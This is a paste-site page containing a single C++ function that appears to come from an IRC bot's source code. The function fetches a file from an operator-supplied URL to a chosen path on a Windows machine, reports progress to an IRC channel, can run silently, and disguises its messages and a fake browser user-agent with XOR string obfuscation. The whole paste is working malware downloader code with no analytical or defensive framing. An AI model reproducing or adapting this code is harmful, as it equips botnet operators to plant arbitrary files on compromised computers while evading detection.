All pastes #355036 Raw Edit

Download

public cpp v1 · immutable
·published 2007-02-14 08:09 UTC
rendered paste body
DWORD WINAPI Download(LPVOID lParam){	char szSendBuf[512], szBuff[1024];	char szUrl[128], szTarget[64];	HINTERNET hInternet, hOpen;	HANDLE hFile;	DWORD dwRead, dwWritten;	strcpy(szUrl,gDownload.szUrl);	strcpy(szTarget,gDownload.szTarget);	FILE * fp = fopen(gDownload.szDest,"r");	if (fp)	{		if (!gDownload.bSilent) gDownload.hostInfo.gIrc.privmsg(szTarget,/*[DOWNLOAD] File exists.*/XorStr<0x14,24,0xBC172488>("\x4F\x51\x59\x40\x56\x55\x55\x5A\x58\x40\x3E\x59\x49\x4D\x47\x03\x41\x5D\x4F\x54\x5C\x5A\x04"+0xBC172488).s);		fclose(fp);		return 0;	}	hInternet = InternetOpen(/*Mozilla/4.0 (compatible)*/XorStr<0xEA,25,0xA8BD75DC>("\xA7\x84\x96\x84\x82\x83\x91\xDE\xC6\xDD\xC4\xD5\xDE\x94\x97\x94\x8A\x9A\x88\x94\x9C\x93\x65\x28"+0xA8BD75DC).s, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);	hOpen = InternetOpenUrl(hInternet,gDownload.szUrl,NULL,0,INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_PRAGMA_NOCACHE,0);	if (hOpen)	{		hFile = CreateFile(gDownload.szDest,GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, 0);		if (hFile > (HANDLE)0)		{			do {				memset(szBuff, 0, sizeof(szBuff));				InternetReadFile(hOpen, szBuff, sizeof(szBuff), &dwRead);				WriteFile(hFile, szBuff, dwRead, &dwWritten, NULL);					} while (dwRead > 0);			CloseHandle(hFile);			sprintf(szSendBuf,"%s %s.",/*[DOWNLOAD] File successfully downloaded to*/XorStr<0x30,43,0xD7ABBC5B>("\x6B\x75\x7D\x64\x7A\x79\x79\x76\x7C\x64\x1A\x7D\x55\x51\x5B\x1F\x33\x34\x21\x20\x21\x36\x35\x21\x3D\x25\x26\x32\x6C\x29\x21\x38\x3E\x3D\x3D\x32\x30\x30\x32\x77\x2C\x36"+0xD7ABBC5B).s,gDownload.szDest);			if (szTarget && !gDownload.bSilent) gDownload.hostInfo.gIrc.privmsg(szTarget,szSendBuf);		} else		{			sprintf(szSendBuf,/*[DOWNLOAD] CreateFile failed.*/XorStr<0x63,30,0xA6B960F8>("\x38\x20\x2A\x31\x29\x24\x26\x2B\x2F\x31\x4D\x2D\x1D\x15\x10\x06\x16\x32\x1C\x1A\x12\x58\x1F\x1B\x12\x10\x18\x1A\x51"+0xA6B960F8).s);			if (szTarget && !gDownload.bSilent) gDownload.hostInfo.gIrc.privmsg(szTarget,szSendBuf);			goto end;		}	} else	{		sprintf(szSendBuf,/*[DOWNLOAD] InternetOpenUrl failed.*/XorStr<0xB0,35,0xB7035D6A>("\xEB\xF5\xFD\xE4\xFA\xF9\xF9\xF6\xFC\xE4\x9A\xF2\xD2\xC9\xDB\xCD\xAE\xA4\xB6\x8C\xB4\xA0\xA8\x92\xBA\xA5\xEA\xAD\xAD\xA4\xA2\xAA\xB4\xFF"+0xB7035D6A).s);		if (szTarget && !gDownload.bSilent) gDownload.hostInfo.gIrc.privmsg(szTarget,szSendBuf);	}end:	if (hFile) CloseHandle(hFile);	if (hInternet) InternetCloseHandle(hInternet);	if (hOpen) InternetCloseHandle(hOpen);	return 0;}